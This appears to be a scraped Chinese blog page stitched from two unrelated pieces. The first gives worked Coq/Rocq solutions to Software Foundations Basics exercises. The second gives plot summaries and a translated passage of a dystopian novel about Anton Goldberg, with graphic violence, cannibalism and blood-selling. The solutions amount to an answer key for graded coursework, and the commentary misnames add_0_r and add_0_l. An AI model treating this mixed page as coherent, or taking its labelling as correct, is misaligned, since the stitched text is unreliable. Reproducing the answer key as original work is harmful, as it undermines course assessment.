Software Foundations Vol1 - Basics

Software Foundations Volume 1: Logical Foundations 第一章 Basics 包含的题解

Data and Functions

完成 nandb 定义并验证例子正确性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(** **** Exercise: 1 star, standard (nandb) *)
Definition nandb (b1:bool) (b2:bool) : bool :=
match b1 with
| true => (negb b2)
| false => true
end.

Example test_nandb1: (nandb true false) = true.
Proof. simpl. reflexivity. Qed.
Example test_nandb2: (nandb false false) = true.
Proof. simpl. reflexivity. Qed.
Example test_nandb3: (nandb false true) = true.
Proof. simpl. reflexivity. Qed.
Example test_nandb4: (nandb true true) = false.
Proof. simpl. reflexivity. Qed.
(** [] *)

同上,3 表示三个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(** **** Exercise: 1 star, standard (andb3) *)
Definition andb3 (b1:bool) (b2:bool) (b3:bool) : bool :=
match b1 with
| true => (andb b2 b3)
| false => false
end.

Example test_andb31: (andb3 true true true) = true.
Proof. simpl. reflexivity. Qed.
Example test_andb32: (andb3 false true true) = false.
Proof. simpl. reflexivity. Qed.
Example test_andb33: (andb3 true false true) = false.
Proof. simpl. reflexivity. Qed.
Example test_andb34: (andb3 true true false) = false.
Proof. simpl. reflexivity. Qed.
(** [] *)

完成一个 nat 上的阶乘,使用 Fixpoint 函数(也就是递归函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
(** **** Exercise: 1 star, standard (factorial) *)

Fixpoint factorial (n:nat) : nat :=
match n with
| 0 => 1
| S n' => mult n (factorial n')
end.

Example test_factorial1: (factorial 3) = 6.
Proof. simpl. reflexivity. Qed.
Example test_factorial2: (factorial 5) = (mult 10 12).
Proof. simpl. reflexivity. Qed.
(** [] *)

一个比较函数,以及对应的 Notation,并不是 macro 的处理方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(** **** Exercise: 1 star, standard (ltb) *)

Definition ltb (n m : nat) : bool :=
match n <=? m with
| true =>
match n =? m with
| true => false
| false => true
end
| false => false
end.

Notation "x <? y" := (ltb x y) (at level 70) : nat_scope.

Example test_ltb1: (ltb 2 2) = false.
Proof. simpl. reflexivity. Qed.
Example test_ltb2: (ltb 2 4) = true.
Proof. simpl. reflexivity. Qed.
Example test_ltb3: (ltb 4 2) = false.
Proof. simpl. reflexivity. Qed.
(** [] *)

Proof by Simplification

无,所谓simpl.就是根据已有的 Definition 进行化简。

Proof by Rewriting

rewrite.的规则可以是命题给出中的假设,或者是之前证明过的Theorem

1
2
3
4
5
6
7
8
9
10
11
(** **** Exercise: 1 star, standard (plus_id_exercise) *)

Theorem plus_id_exercise : forall n m o : nat,
n = m -> m = o -> n + m = m + o.
Proof.
intros n m o. (* intros 务必按照匹配的顺序进行变量和谓词 *)
intros H H'.
rewrite -> H.
rewrite -> H'.
reflexivity. Qed.
(** [] *)

->``<-意思是改写的方向,如果不具体写出就是->

1
2
3
4
5
6
7
8
9
10
11
(** **** Exercise: 1 star, standard (mult_n_1) *)

Theorem mult_n_1 : forall p : nat,
p * 1 = p.
Proof.
intros p.
rewrite <- mult_n_Sm.
rewrite <- mult_n_O.
reflexivity.
Qed.
(** [] *)

Proof by Case Analysis

有时候命题的两边难以简化至其他term,无法直接使用rewrite.或者simpl.

比如:

1
Theorem add_0_r : forall n : nat, 0 + n = n.

很容易证明,但是:

1
Theorem add_0_l : forall n : nat, n + 0 = n.

需要一些额外的技巧。
假设plus是这样定义的

1
2
3
4
5
Fixpoint plus (n : nat) (m : nat) : nat :=
match n with
| O => m
| S n' => S (plus n' m)
end.

add_0_r左边很容易简化到n,左右 term 相同就证明成功了。add_0_l则不知道具体走哪个match-branch。


第一个双星题目,证明andb_true_elim2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

(** **** Exercise: 2 stars, standard (andb_true_elim2)
1. 可以对假设进行简化,[simpl in H.]
2. 最终会需要破坏(destruct)两个 bool,最好在破坏第二个之前就简化一下 H
3. 在某些不合理的 subgoal(比如已经枚举 c 是 false 了)下,你很可能发现 H 也不合理,这时使用 H rewrite,就能负负得正。
*)

Theorem andb_true_elim2 : forall b c : bool,
andb b c = true -> c = true.
Proof.
intros b c.
intros H.
simpl in H.
destruct b eqn:Eb. (* true | false *)
- destruct c eqn:Ec.
+ reflexivity.
+ rewrite <- H. reflexivity.
- destruct c eqn:Ec.
+ reflexivity.
+ rewrite <- H. reflexivity.
Qed.
(** [] *)

展示 destruct 的另一种用法(其实是另外几种)

1
2
3
4
5
6
7
8
9
(** **** Exercise: 1 star, standard (zero_nbeq_plus_1) *)
Theorem zero_nbeq_plus_1 : forall n : nat,
0 =? (n + 1) = false.
Proof.
intros []. (* 构造子用不上就可以不写 *)
- simpl. reflexivity.
- reflexivity.
Qed.
(** [] *)

More on Notation (Optional)

可选内容

1
2
3
4
5
6
Notation "x + y" := (plus x y)
(at level 50, left associativity)
: nat_scope.
Notation "x * y" := (mult x y)
(at level 40, left associativity)
: nat_scope.
  • Notation 需要额外指示运算优先级和结合方式
  • Notation 在不同的 scope 下代表的类型不同,可以使用(x + y) % nat 辅助 Notation 的 elaboration
  • notation mechanism 的能力是有限的

Fixpoints and Structural Recursion (Optional)

Rocq 需要确定一个Fixpoint函数是能终止的,

更具体的来说,Rocq 要求对于所有的Fixpoint调用,其中某些实参需要decreasing

但是这套decreasing有一些限制,它本身的定义就暗示了这一点,会拒绝一些实际上能终止的函数。

1
2
3
4
5
6
7
(** **** Exercise: 2 stars, standard, optional (decreasing) *)

Fixpoint plus'' (n m : nat) : nat :=
match n with
| 0 => m
| S n' => S (plus'' m n')
end.

效果如下

More Exercise

->就是forall ,的语法糖,只是对谓词这么描述不是很方便;rewrite方向不重要,两次一致即可

1
2
3
4
5
6
7
8
9
10
11
12
(** **** Exercise: 1 star, standard (identity_fn_applied_twice) *)

Theorem identity_fn_applied_twice :
forall (f : bool -> bool),
(forall (x : bool), f x = x) ->
forall (b : bool), f (f b) = b.
Proof.
intros f Fx b.
rewrite -> Fx.
rewrite -> Fx.
reflexivity.
Qed.

类似上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(** **** Exercise: 1 star, standard (negation_fn_applied_twice) *)

Theorem negation_fn_applied_twice :
forall (f : bool -> bool),
(forall (x : bool), f x = negb x) ->
forall (b : bool), f (f b) = b.
Proof.
intros f Fx b.
rewrite -> Fx.
rewrite -> Fx.
destruct b as [].
- reflexivity.
- reflexivity.
Qed.

(* Do not modify the following line: *)
Definition manual_grade_for_negation_fn_applied_twice : option (nat*string) := None.
(** (The last definition is used by the autograder.)

[] *)

证明对任意b, c, 如果 b && c = b || c, 则 b = c

1
2
3
4
5
6
7
8
9
10
11
12
(** **** Exercise: 3 stars, standard, optional (andb_eq_orb) *)

Theorem andb_eq_orb :
forall (b c : bool),
(andb b c = orb b c) ->
b = c.
Proof.
intros [] c H.
(* 需要注意的是 simpl in H 不能提出来,因为 bullet 内外 context 不同,化简结果也不同 *)
- simpl in H. rewrite -> H. reflexivity.
- simpl in H. rewrite -> H. reflexivity.
Qed.

Course Late Policies, Formalized

1
2
3
4
5
6
7
8
9
10
11
(** **** Exercise: 1 star, standard (letter_comparison) *)
Theorem letter_comparison_Eq :
forall l, letter_comparison l l = Eq.
Proof.
intros [].
- reflexivity.
- reflexivity.
- reflexivity.
- reflexivity.
- reflexivity.
Qed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(** **** Exercise: 2 stars, standard (grade_comparison) *)

Definition grade_comparison (g1 g2 : grade) : comparison :=
match g1, g2 with
| (Grade l1 m1), (Grade l2 m2) =>
match letter_comparison l1 l2 with
| Eq => modifier_comparison m1 m2
| Gt => Gt
| Lt => Lt
end
end.

(** The following "unit tests" of your [grade_comparison] function
should pass once you have defined it correctly. *)

Example test_grade_comparison1 :
(grade_comparison (Grade A Minus) (Grade B Plus)) = Gt.
Proof. simpl. reflexivity. Qed.

Example test_grade_comparison2 :
(grade_comparison (Grade A Minus) (Grade A Plus)) = Lt.
Proof. simpl. reflexivity. Qed.

Example test_grade_comparison3 :
(grade_comparison (Grade F Plus) (Grade F Plus)) = Eq.
Proof. simpl. reflexivity. Qed.

Example test_grade_comparison4 :
(grade_comparison (Grade B Minus) (Grade C Plus)) = Gt.
Proof. simpl. reflexivity. Qed.

重写Theorem lower_letter_lowers,需要特殊处理l = F的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
(** **** Exercise: 2 stars, standard (lower_letter_lowers) *)
Theorem lower_letter_lowers:
forall (l : letter),
letter_comparison F l = Lt ->
letter_comparison (lower_letter l) l = Lt.
Proof.
intros l H.
destruct l;
simpl in H;
try rewrite <- H;
simpl;
reflexivity.
Qed.

填写并验证降级函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

(** **** Exercise: 2 stars, standard (lower_grade) *)
Definition lower_grade (g : grade) : grade :=
match g with
| Grade l m =>
match m with
| Plus => Grade l Natural
| Natural => Grade l Minus
| Minus =>
match letter_comparison l F with
| Eq => Grade F Minus
| _ => Grade (lower_letter l) Plus
end
end
end.

证明lower_grade_lowers,所有等级降一级之后都比原来少(即使是 F- )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(** **** Exercise: 3 stars, standard (lower_grade_lowers)

Hint: If you defined your [grade_comparison] function as suggested,
you will only need to destruct a [letter] in one case.
The case for [F] will probably benefit from [lower_grade_F_Minus].
*)
Theorem lower_grade_lowers :
forall (g : grade),
grade_comparison (Grade F Minus) g = Lt ->
grade_comparison (lower_grade g) g = Lt.
Proof.
intros g H.
destruct g as [l m] eqn:Eg.
destruct l, m;
simpl lower_grade;
try rewrite -> H;
reflexivity.
Qed.

(* 能用上 lower_grade_F_Minus 的写法 *)
Theorem lower_grade_lowers' :
forall (g : grade),
grade_comparison (Grade F Minus) g = Lt ->
grade_comparison (lower_grade g) g = Lt.
Proof.
intros g H.
destruct g as [l m] eqn:Eg.
rewrite <- lower_grade_F_Minus in H.
destruct l, m;
try rewrite -> H;
simpl;
reflexivity.
Qed.

这两个例子展示了直接展开Definition的效果,实际上就是unfold,区别于simplunfold是强制性的,而不是有简化空间才做。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(** **** Exercise: 2 stars, standard (no_penalty_for_mostly_on_time) *)
Theorem no_penalty_for_mostly_on_time :
forall (late_days : nat) (g : grade),
(late_days <? 9 = true) ->
apply_late_policy late_days g = g.
Proof.
intros late_days g H.
rewrite -> apply_late_policy_unfold. (* 用 simpl. 不会有任何进展 *)
rewrite -> H.
reflexivity.
Qed.

(** **** Exercise: 2 stars, standard (graded_lowered_once) *)
Theorem grade_lowered_once :
forall (late_days : nat) (g : grade),
(late_days <? 9 = false) ->
(late_days <? 17 = true) ->
(apply_late_policy late_days g) = (lower_grade g).
Proof.
intros last_days g H1 H2.
rewrite -> apply_late_policy_unfold.
rewrite -> H1.
rewrite -> H2.
simpl.
reflexivity.
Qed.

二进制数字的自增、将二进制数转换到邱奇数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Inductive bin : Type :=
| Z
| B0 (n : bin)
| B1 (n : bin).

(** Complete the definitions below of an increment function [incr]
for binary numbers, and a function [bin_to_nat] to convert
binary numbers to unary numbers. *)

Fixpoint incr (m:bin) : bin :=
match m with
| Z => B1 Z
| B0 m' => B1 m'
| B1 Z => B0 (B1 Z) (* B0 m *)
| B1 m' => B0 (incr m')
end.
Fixpoint bin_to_nat (m:bin) : nat :=
match m with
| Z => O
| B0 m' => mult 2 (bin_to_nat m')
| B1 m' => 1 + (mult 2 (bin_to_nat m'))
end.
(** The following "unit tests" of your increment and binary-to-unary
functions should pass after you have defined those functions correctly.
Of course, unit tests don't fully demonstrate the correctness of
your functions! We'll return to that thought at the end of the
next chapter. *)

特异区之子 P2 P3

这一篇 blog 的第二部分就是传说中的城市篇
这一部分的主角依然是安东·戈德伯格,故事发生在一个陷入全面崩溃的城市中(不再是特异区,而是一个类似文明瓦解后的都市环境)。

城市背景:一夜之间,城里所有的男孩都消失了。随后城市陷入无政府状态,火灾、暴力、食人、腐败横行。政府形同虚设,军队和警察失控,市民靠献血(给“Blood-express”公司)换取食物和酒。主人公安东在废墟般的城市中挣扎求生。

主要经历:

  • 安东去地下酒吧换取物资,遇到酒保弗朗克、女人马格达莱纳等人。他们讨论着生存、生物学最低标准、以及传说中的“特异区”。

  • 城市遭到武装分子袭击,安东与马格达莱纳逃入地下通道。

  • 他进入城市下方的地下世界(“蚁巢”),这里是一个由女王(巨大的女性变种)、工蜂、雄蜂组成的高度分化的社会。社会底层是赤裸的男性,被当作女王的交配和食物来源。

  • 安东被抓、被关押、被养肥,差点被献给女王。他最终逃脱,在地下迷宫中遭遇各种疯狂景象(食人族、绞死者、幻觉等)。

  • 逃出后,他回到城市表面,城市仍在燃烧。他决定向北走,前往传说中的特异区。

结尾:安东来到沼泽地带,见到商人蛤蟆。蛤蟆对他说:“你什么也记不清……周围是特异区!”安东回应:“我不是孩子,也不是你的。”故事以“又是新的开始”结束。
第三部分更是意识流

  • 开头:一群人被扒光衣服、被武装押送者驱赶,穿过沼泽,来到一堵巨大的墙前。他们被编队,接受一个老人和黑发男人(类似官僚或军官)的筛选。黑发男人留下了三个人(副主任、银行家、经理),然后将主角(安东)单独叫住,说“我为您准备了一个惊喜”。安东惊恐地意识到,自己将被送回原来的世界(或地狱)。

  • 重复的开头:场景切换回“夜。卡车。大风暴。”——与小说最开头完全相同。一具尸体睁开眼睛,说:“我叫安东·戈德伯格……现在我想起了一切!”

  • 与蛤蟆重聚:安东回到特异区,找到蛤蟆。蛤蟆已经老了,正准备离开。他给安东留了一个武器(凝胶喷射器)。安东问他关于“从城市来到特异区的孩子”的事,蛤蟆说“我们都是特异区的孩子”。安东告别蛤蟆,继续向北。

  • 路上的遭遇:特异区已经变得更加异常,异常点几乎连成一片。安东遇到一个畸形守卫(长着像猩猩手臂的驼背生物),对方问他是不是“天使”(即特异区天使),安东否认,继续向北。

结尾:文本在“安东”一词处中断,似乎未完成。

第二部分

城市(日食)

死亡与寒冷!真希望
能带着野性的尖叫飞上高空
然后一头栽进雪堆,
像被射中的猞猁。

并从那里向外张望,
变成一个雪球,
带着骆驼的冷漠,
被沙子掩埋。
——萨沙·切尔内《涅槃》


当它第一次响起时,没人注意。白天它又响了一次,但听到的人没当回事。晚上它响了第三次。

而夜里,城里所有的男孩都走了。一个不剩:从刚会走路到达到那个模糊边界(过了它男孩就变成男人)的。全都走了!

城市空了,像掏空了的鸡腔。风不怀恶意地吹着空旷街道上的报纸碎片、皱巴巴的纸杯……

城市仿佛死了,虽然里面还有人。城市潜伏着,等待着,但人们知道,等待是徒劳的。

没有绝望,没有疯狂地试图补救什么。只有悲伤和顺从。

在黎明前闷热的黑暗中,隐约可见混凝土高层建筑的巨大盒子,它们用盲目的黑色窗户空洞地瞪着空旷的街道。哪里都没有灯光。在每个窗户的缺口中,可以猜出一两个影子,凝固在无声的等待中。无声而无谓。一只孤独的流浪狗,疲惫地小跑到城市中央广场,坐下,仰起头,嚎叫起来……

城市用可怕的众声嚎叫回应它。

然后窗户里的灯亮了,门开了,人们涌上街头……

但为时已晚。


第一章

据说,城市的临终痛苦始于一夜之间所有孩子消失的那一天。

而现在城市在燃烧。意识到在这片石林里有什么东西能如此长久、执着而痛苦地燃烧,简直让人惊呆。日日夜夜!连续第二周……还有那已经变得无法忍受的烧焦人肉的恶臭。这种气味甚至连熔化塑料的窒息臭气都无法掩盖。夜里,由于无尽的火灾,亮如白昼;而白天,由于城市上空悬浮的灰烬云,似乎怀孕的天空怎么也生不出那个畸形的黎明。

“哪怕下场雨也好,”安东懒洋洋地想,冷漠地看着窗外痛苦的城市,“也许这恶臭会稍微减弱……”

但到目前为止,烧焦肉的恶臭无限制地统治着,无论是每个门廊下腐烂的巨大垃圾堆的臭味,还是长期不工作的下水道无法形容的气味。更不用提新鲜人血那甜腻的、几乎温柔的香气了……

咔嚓!

黑暗在召唤,深渊在呼唤。只需要跨过无形的屏障——将他与……分隔开的界限。

咔嚓!……

安东弯下腰,在他脚边的背包里翻找,拿出一瓶啤酒。最后一瓶。

啤酒是温的,似乎已经开始变酸。

“今天得出去,”安东想,冷漠地看着瓶子上的深红色反射。“没有食物我还能撑,但没有酒……如果被杀,那更好。这场痛苦太长久了。我和城市的。”

安东又在背包里翻了翻,摸到了一把子弹。

“七发。不多,”他从口袋里掏出左轮手枪。“六发在弹轮里,一发在口袋里。不多!”他拿起地上的背包,把它翻了个底朝天。

几个硬币掉在地上,发出欢快的叮当声。

“如今真找不到比这更没用的东西了,”安东懒洋洋地用脚踢了一下硬币,它们委屈地叮当着飞到了房间的远角。躲在那边,用它们圆圆的、自以为是的小身体恶意地闪着光。旁边躺着一张肮脏、被踩过的挂历,田园诗般的冬日景色:小圣诞树,雪……和年份。二零一三年。


来自当地媒体的报道(用油印机印刷,发行量1.5万份)

……没有任何恐慌的理由。内阁昨天召开紧急会议,讨论了制止某些不诚实个人试图利用我国目前经历的暂时经济困难,并在公然民粹主义企图的浪潮下,试图将个别不守法分子的随机、混乱行为引向其自身利益的问题。例如,一些矿工工会的领导人……


安东穿上外套,把手枪夹在腋下,一把巨大的猎刀(放在他自制的特殊套子里)卡在肩胛骨之间,以便在有人突然要求他把手放在脑后时,可以轻松取到刀。

很久以来,没有人再有任何幻想了。每个人都明白,如果想延长自己的痛苦(当前的事态不能称之为生活),他必须先开枪。

在六楼,安东停了一下。他清楚地听到一个女人歇斯底里的尖叫。安东耸耸肩,继续向出口走去。越靠近地面,楼梯间看起来越脏。在散布的粪泥和半干的血坑中,可以看到任何东西:从用过的安全套到被踩碎的儿童玩具。在三楼和四楼之间的楼梯平台上有一具尸体,下一层还有一具。都是男人,比安东更不走运。或者更走运——看怎么看了。但他们在这栋楼里找到的不是临时过夜的地方,而是永恒。

街上很安静,但安东在门洞的阴影里站了一会儿,仔细研究着情况,然后同样无声地滑了出去。


来自当地媒体的报道

……尽管内阁做出了种种努力,但在我们经济的某些领域仍然存在个别不稳定……不守法分子利用暂时的困难……


白天,城市的街道空荡荡,几乎安全。当然,可能撞上“白盔”巡逻队,或者完全疯狂的市民,他准备甚至对自己的影子进行长点射。但这只是小菜一碟,而在宵禁开始后,随着黑暗一起,一种动物性的恐怖浪潮爬上城市,压倒理性的残余,规定完全不同的生活规则和规范。夜里,城市变成了一个可怕的怪物,吞噬自己的孩子。夜里,另一种逻辑在起作用。夜里,为了生存,必须成为怪物。白天——是另一回事!白天,人类行为规范残余还有某种实际价值。尽管对死亡完全漠不关心,尽管门洞里的尸体与其说是例外,不如说是常态。尽管下一个尸体被认为是这场荒诞戏剧(在全国范围内上演的但丁地狱)的一个不可分割的装饰元素。

安东咧嘴笑了,尽管称他脸上扭曲的抽搐为微笑,需要极大的想象力和足够的变态心理。而且,尽管下一个官员的尸体非常真实。一个优雅丰满的男人,穿着不鲜艳的西装,欢快地在他近处的一棵树枝上荡来荡去,吐出的蓝色舌头仿佛在强调他对周围环境的蔑视,体现了当前局势的全部荒谬。

安东看着玻璃化的眼睛,沉重地叹了口气。不是说这个景象让他震惊了,但它仍然对人性是陌生的。安东仍然没有失去幻想,认为人原则上是为生活而生的。然而,在当前情况下,这看起来是最明显的疯狂。真的,在当下环境中最终没有疯的人,才是真正的疯子。

尸体在树枝上晃了晃,安东觉得这个混蛋对他眨了眨眼,好像在嘲笑,好像他的命运给了他理由,来讽刺剩下的人群,他挂在树枝上,竟然成功地愚弄了他们……

在独立广场上,有一辆坦克,愚蠢地用它的炮管指着市政厅的方向,那炮管像失去了战斗热情的软弱阴茎一样无用。仿佛在嘲笑它,广场中央耸立着为纪念独立而建的那座胜利柱的残余。

周围空无一人。


来自当地媒体的报道

……个别的无动机残忍行为!但这不构成无理担忧的理由。局势处于控制之下,相关机构正在尽一切必要努力,将随机事件局部化……

“得了吧:我愿为一口普通不掺水的酒精出卖灵魂,”安东疲惫地想,努力不去注意似乎已经渗透到周围一切的恶臭;土地、水、思想。“我不打算制造任何幻觉,也不打算为当前局势搭起一个由无意义的辩解组成的愚蠢菜园。我根本不在乎当前事件的背景和已形成的人际关系的荒谬。我只是想活。仅仅活着,作为一个生物单位生存。难道我向生活要求得太多吗?!”

但不久前他并不这么想。

那怎么想?记忆殷勤地从自己身上推出那不久前的过去,现在看起来像年轻时读过的书页。

安东的目光从坦克上滑过,从商人痉挛地伸出的腿上(一只鞋掉了,蓝色的蜷缩脚趾调皮地从袜子的洞里探出来,但再也无法帮助它的主人摆脱无情的命运为他安排的角色),今天他不知第几次抽搐地叹了口气。然后他估计了一下,哪种更安全:从广场上面穿过去,冒着被附近房子里的人射击的风险,还是钻进地下通道。两者都只是同一场俄罗斯轮盘赌的不同变体,但第一个选项太明确了。这个选项中的随机因素几乎不取决于安东。而在地下,幸存或死亡的机会至少是可比的。最重要的是,一切都基于被困老鼠的本能:谁先察觉到危险!而安东对自己的本能仍然有信心。他钻进地下通道,努力尽快投入黑暗,尽量少在明亮入口的背景上充当一个好靶子。地下通道子宫般的黑暗是骗人的放松。真想躺下,采取胎儿的姿势,然后睡着。但安东明白,这种感觉是纯粹的幻觉,就像他过去的生活一样。他突然觉得,在视野的边界某处出现了一道彩虹色的影子。虽然这只持续了一瞬,但安东可以发誓,这影子是他不可挽回地失去的一切的化身。但实际上,右边传来的沙沙声使安东猛地弯下腰,无声地像青蛙一样跳到一边。

闪光,声音!子弹正好击中了一秒钟前他还在被甜蜜的倦怠所困的那个地方。

安东努力无声地移动,在粘滑的地板上匍匐前进。当然,可以用子弹回敬子弹,但安东珍惜弹药。此外,还有一个机会……

闪光,轰鸣!躲藏在黑暗中的人神经出了问题,这一枪显然是乱放的。而开枪的人被发现了,通道两端同时响起了另外两枪……

一声尖叫和倒地的闷响。

又是黑暗和骗人的寂静。安东苦笑了一下。他又在一场无望的彩票中抽中了中奖券。但这不可能永远持续下去。


来自当地媒体的报道

……没有任何理由!我们断然驳斥所有挑衅性声明……

……个别……

……不引起担忧……

……没有恐慌的理由……

“躲过去了!这次又躲过去了?!像上次一样。像下一次一样?”

安东躺在一堆碎石上,惬意地吸着像灰色暴风雪一样扬起的灰尘,茫然地看着前方。

对面几乎完好无损的建筑上,挂着一个明亮的招牌“Blud-express”,一个半裸的全息女郎在上面调皮地眨着眼,只用她的一只眼睛就许诺着极乐,更不用说第二只了……

“但我真的还想活,”安东想。在最近几周里,他第一次感受到纯粹的人性情感。


第二章

“我们真诚地欢迎您来到我们公司的墙内,该公司以稳健和悠久的传统闻名于世……”

安东站在巨大的空荡荡的大厅里,墙壁上密密麻麻地布满了小型装甲储物柜,冷漠地听着一个谄媚的女声。他听过这段录音不止一次。很久以前,当他听到这甜腻无耻的谎言时,还会感到刺耳,会被隐藏在银色花言巧语背后的残酷荒谬所震撼。

“……希望您不介意把您的物品放在其中一个储物柜里,其可靠性归功于一家非常受尊敬的瑞士公司……”

安东平静地脱得精光,把所有东西塞进了储物柜。

“谢谢,”看不见的海妖同样谄媚地说。“电梯马上为您提供。希望您给予我们关注的荣幸,不会失望。”

安东抬头看向天花板,那里有一个小孔,通向混凝土巨石的内部。入口处是一个小小的、没有围栏的平台。

有一次,当“Blood-express”网点还是新鲜事物时,安东看到两个光着膀子的男人试图同时登上这样的平台。其中一个稍走运些,他在上升开始时摔了下来。而另一个——从接近天花板的地方摔了下来。立刻,从壁龛里开出两辆装甲手推车,一辆迅速收拾了第二个人的残骸。但最可怕的是,第二辆靠近了几乎没受伤的第一个男人,也开始试图把他塞进自己的肚子里。显然,这个技术奇迹对新鲜血液的气味有反应。男人尖叫着反抗,但这没救他……安东不由自主地打了个寒颤,但很可能是因为大厅里相当凉爽,最重要的是,对城市来说不寻常的无菌。而这种无菌比新鲜血液的气味更令人警觉。

电梯平台无声地滑下,安东赶紧在上面占了一个位置,以便上升时不会掉下去。

但即使有人抱着不良目的设法钻进天花板的孔里,他也会失望。入口后面只是混凝土的死胡同,尽头是一张固定在地板上的躺椅,旁边墙上有一个洞,只能伸进一只手。

“如果您不熟悉程序或忘记了某些细节,请允许我们简要……”

不听从无形海妖的潺潺声,安东躺在躺椅上,把左手伸进洞里,直到肩膀。

“您需要等几分钟,我们进行快速分析,与此同时请听点轻松的音乐……”

“让您和您所有的音乐见鬼去吧!”安东疲惫地想,在不知不觉中沉入甜蜜的昏睡……

又一次,他觉得在视野的边界迅速闪过一道彩虹色的影子……

“……恭喜您!除了血液中的酒精痕迹,您完全健康!”

安东颤抖了一下:看来他确实打了个盹,隐形吸血鬼女人高兴的声音把他吵醒了。

“现在将抽取您一份标准献血,然后给您注射一种药物,可以在一天之内将您识别为‘Blood-express’公司提供的福利的用户。”


摘自“Blood-express”公司的广告

通过参与由跨国公司“Blud-express”直接赞助的国际献血活动,您将成为一项空前的、拯救数百万急需紧急医疗救助的人的行动的参与者……

安东下到大厅,他的个人物品在保险柜里等着他,他开始穿衣服。像程序结束后总是这样,他有点头晕,好像喝了一两杯。起初,“Blud-express”使用塑料卡,但不得不放弃,因为献血者在出口处会遭到一群骗子,后来是杀手的伏击。现在,通过使用生物化学支付方法,献血者部分免于立即被夺走他用血汗挣来的东西。

安东还有一天的时间来尝试实现他挣来的东西。

穿过后院回到中央大街,安东等到“白盔”巡逻队开过,然后全速冲到了另一边。靠近尚未消失的巡逻队,没有人敢向孤独的逃亡者开枪。

安东钻进一个熟悉的拱门,用一种特殊的方式敲了敲一扇不起眼的、油漆剥落的门。只有仔细看,才能发现多层油漆下隐藏着装甲板。

“有趣,他们的猫眼在哪?”安东哼了一声。“他们不太可能热情地为每个进来的人开门……”

门确实开了,一个阴郁的家伙,示威性地整了整胸前的自动步枪,对安东漠不关心地点了点头。

掩体里一片昏暗。在十几支燃烧蜡烛的不稳定闪烁光中,一切看起来都摇摆不定,仿佛这就是隐藏在视野边界的世界。安东走到吧台前,坐在凳子上。

酒保对他像对老熟人一样点了点头。

“有趣,如果把他从掩体里轰出去,他在地面上能撑多久?15-20分钟,不会更多……”安东想象着酒保在碎砖上爬行,然后跳过地下通道,哼了一声。

“你是付现金还是非现金?”酒保说着,冷漠地看着咧嘴笑的安东。

“非现金。”

“又去献血了?”

“十立方厘米你能给什么?配额又降低了吧。”

“通货膨胀,”酒保冷漠地点点头。“别见怪。但我得检查一下。”

“当然,”安东点点头,伸出手。

酒保熟练地从他那里取了血样进行分析。

“如果我在另一个点也试试呢?”安东突然问。

酒保怀疑地看了他一眼,不情愿地说:
“每个区只有一个点。在别人的区,他们不会为你服务。而且你一天之内也赶不到第二个点。如果还能赶到的话……”

“明白了,”安东点点头,“你把那里打包好,现在一瓶……”

“顺便说一句,”酒保看着检测结果咧嘴笑了,“你今天是我们第十三个!桌子由公司请客!”

安东点点头。桌子由公司请客,这很好。这意味着他可以拿走全套配给。可以躲到某个更深的洞里……

“听着,弗朗克,你肯定有发电机。要这些蜡烛干什么?”

酒保怀疑地瞪了安东一眼,不情愿地说:
“为了让你更舒服。而且发电机的燃料……这又不是献血。”

“吸血鬼,”安东疲惫地想,“你吃我们的血长得这么肥。”

一个发蓝的女孩走到吧台前。

“给我五立方厘米的。”

“不赊账,”酒保说。

“我没要求赊账。”

“从你身上能拿什么。都发蓝了……”

“没人问你,”女孩无精打采地打断。“我说了:五立方厘米,就是五立方厘米,”她把满是针眼的手臂放在柜台上。

酒保不情愿地拿出注射器,正准备从这小可怜身上抽走最后五立方厘米的血,换给她50克散发着劣质酒味的浑浊液体。

“别这样,”安东出乎自己意料地说。“我请客。”

“你怎么这么好?”女孩嗤之以鼻。“顺便说一句,我今天不工作。”

“我不感兴趣,”安东冷冷地回答。“我就是这样请客。”

“为‘就这样’总是后来要付三倍的价,”女孩同样无精打采地顶嘴,但顺从地跟着安东。他们在一张壁龛里的桌子旁坐下。实际上,那是立着的一个汽油桶,周围摆着塑料凳子。弗朗克拿来一瓶伏特加和塑料杯,还有一罐炖肉、一瓶腌西红柿和一长条面包。

“这些都不算在配给里?”安东怀疑地问。

“是的,”弗朗克点点头,熟练地打开炖肉。

“沙皇晚餐!”安东几乎不费力地笑了。“这样之后,死也值了。”

而且他一点也没有讽刺的意思。

“小子,你该不会是他们中的吧?”女孩怀疑地眯起眼睛,“不会是卖死肉的商人吧?”

“如果你指的是移植器官猎人,不,”安东认真地回答,伸手去拿塑料杯。

伏特加很差,只是冷,但安东和女孩都扑向各自的杯子,好像那是解药,可以解他们周围一切噩梦之毒。

在某种程度上,确实如此。

“我都打包好了,”大约半小时后,当瓶子空了三分之二、炖肉几乎吃完、西红柿罐里只有两片欧芹孤零零地转圈时,弗朗克自豪地宣布。

“太好了!”安东点点头,忧郁地嚼着面包皮。在这段时间里,他和女孩一句话也没说,只是每次举杯时都疏远地点点头。但现在在酒精的作用下,安东感到他的外壳稍微软化了。

“你叫什么名字?”他问女孩,把沉重的包裹塞进背包。弗朗克回到吧台后,又开始盯着那本破旧的《花花公子》,好像能在那里找到什么新东西。

“有什么区别?”她疲惫地叹了口气。“你可以叫我……嗯,至少马格达莱纳。”

“你常来弗朗克这儿?”

“我住在这里。”

“他允许你全天待在这儿?”

“是的。”

“免费?”

“当然不。”

“明白了。”

“你明白什么?!你知道空房子里是怎么对待女人的吗?!”

“知道。”

“那卖死肉的商人是怎么活剥我们的皮,用作移植器官的?!”

“知道。”

“还有,在野生的街区,我们被视为美味佳肴?……”

“你是说?”

“就是那个意思!!!烹饪意义上的。”

